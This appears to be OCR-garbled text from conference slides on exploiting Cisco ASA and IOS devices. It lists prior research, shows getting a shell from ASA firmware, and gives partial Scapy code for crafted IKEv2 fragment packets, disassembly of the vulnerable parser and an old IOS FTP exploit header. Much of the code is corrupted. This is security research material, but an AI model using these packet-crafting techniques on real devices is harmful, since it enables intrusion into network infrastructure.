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» Attacking Network Embedded System Felix ‘FX’ Lindner 2002

* The Holy Grail Cisco 10S Shellcode And Exploitation Technigues Michael Lynn 2005

e CiscolOS Shellcodes Gyan Chawdhary, Varun Uppal 2007

* CiscolOS - Attack & Defense. The State of the Art Felix '"FX’ Lindner 2008

* Router Exploitation Felix "FX’ Lindner 2009

e Fuzzing and Debugging Cisco |0S SebasEan Muniz, Alfredo Ortega 2011

« Killing the Myth of Cisco |OS Diversity Ang Cui, JaEn Kataria, Salvatore J. Stolfo 2011

* Breaking Bricks and Plumbing Pipes:Cisco ASA a Super Mario Adventure Alec Stuart-
Muirk 2014

* CiscolOS shellcode:all-in-one George Nosenko 2015

* Execute my packet David Barksdale,Jordan Gruskovnjak,Alex Wheeler 2016
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Some
loader

Direct booting from floppy is no longer supported.

vmlinuz

initrd > gzip[k 4 frrootfs.img
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* S cpio-id< rootfs.img

* Sls/asa/bin/

e coredump_helper lina lina_monitor
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asa924-k8.bin
quiet loglevel=0 auto => rdinit=/bin/sh
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e Cisco ASA 5500 Series Adaptive Security Appliances

e Cisco ASA 5500-X Series Next-Generation Firewalls

* Cisco ASA Services Module for Cisco Catalyst 6500
Series Switches

* Cisco 7600 Series Routers

e Cisco ASA 1000V Cloud Firewall

» Cisco Adaptive Security Virtual Appliance (ASAv)

e Cisco Firepower 9300 ASA Security Module

e Cisco ISA 3000 Industrial Security Appliance
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send(IP(dst-'192.168.15.11")
UDP()
"IKE_AUTH", flags="Initiator",id-1)

1,Llast_frag=0,load="c" *payloadlen)

)
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<call ikeuv2_ chk_neg_and_sa__>
cmp eax; 1 \\\\\““\\\
EHLRNRE RS

mov eax, [esi+8D8h]
mou ebp+vayr 141, eax //////’//
es byte ptyr [eax+08A8Sh

j oC

«<_ test byte ptyr [eax+BACh], 2> — VendorID:
iz 16c_877CBSE Fragment
mov edx, [ebp+var_14]
mov [esp+4], edi
mov [esp], edx
call ikev2_ add_rcv_frag

send(IP(dst="1.2.3.4")
UDP()
"Initiator”

C R ST - net 4 1 load="€"
rag 1a g num=1,Last rag=1,Loaa f
J J_ { _J f

)
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ikev2 daemon ikev2 fragment parse
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REURIE AT

Jtext : 08768006 mov  [esp+8], ecx ; exc points to new fragment
Jtext: 087680 0A mov  duord ptr [esp+4],

Jtext: 08768012 mv  [esp], eax

Jtext: 08768017 test  eax, eax

Jtext: 08768019 jz short loc_8768D4C

Type Payload: Cisco-Fragmentation (132)
Next payload: Private Use (235)
Q... .... = Critical Bit: Not Critical

Payload length: 482

Frag ID: ©x@0eb

Frag seq: 5

Frag last: More fragments (@)

01 00 08
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GetShell
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AAAAAAAA

memcpy () |e—2—

1

. 3. | HURER
return N

CPU \ g Memory

N 4-)(-----\4 AAAAAAAA
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/*
Cisco IOS FTP server remote exploit by Andy Davis 2008
Cisco Advisory ID: cisco-sa-200705@9-iosftp - May 2007
Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router

Removes the requirement to authenticate and escalates to level 15

EEEEE S RS S S S S EEE RS EEEE S L EEE S S EEEE S RS S EEE S S EEEE R kS

To protect the innocent a critical step has been omitted, which means
the shellcode will only execute when the router is attached to gdb.

I'm sure the PowerPC shellcoders out there will work it out...
EEEEE S ST EEE S S EEE S S S S E RS S S EEE S S S EEE S S SRS E S S S S EE RS S S EEE S T 2 o 3

Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
on the original IOS security research

iosftpexpleit <at> googlemail 'dot' com

=/
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